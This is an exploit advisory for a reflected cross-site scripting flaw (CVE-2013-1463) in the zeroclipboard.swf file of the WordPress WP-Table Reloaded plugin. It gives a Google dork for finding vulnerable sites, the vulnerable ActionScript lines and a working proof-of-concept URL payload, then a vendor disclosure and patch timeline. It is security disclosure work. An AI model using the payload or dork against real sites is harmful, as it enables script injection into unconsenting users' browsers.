Exploit Title: Wordpress wp-table-reloaded‏ plugin XSS in SWF

Release Date: 24/01/13

Author: hip [Insight-Labs]

Contact: [email protected] | Website: http://insight-labs.org

Software Link: http://downloads.wordpress.org/plugin/wp-table-reloaded.latest-stable.zip

Vendor Homepage: http://tobias.baethge.com/

Tested on: XPsp3

Infected version: 1.9.4 before

Google Dork: inurl:/wp-content/plugins/wp-table-reloaded/

Ref: CVE-2013-1463

Introduction:

WP-Table Reloaded enables you to create and manage tables,
without having to write HTML code, and it adds valuable functions for your visitors.

XSS - Proof Of Concept:

vulnerable path:
/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf
vulnerabile parameter:id

piece of code:
flashvars = LoaderInfo(this.root.loaderInfo).parameters;
this.domId = flashvars.id; <– vulnerable input

ExternalInterface.call("ZeroClipboard.dispatch", domId, "mouseOver", null); <- vulnerable call

POC:
/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf?id=a\%22%29%29}catch%28e%29{alert%281%29}//

Patch:

– Vendor was notified on the 23/01/2013
– Vendor released version 1.9.4 on 27/01/2013 Fixed the bug
– Reward 50 USD from white fir design on 30/01/2013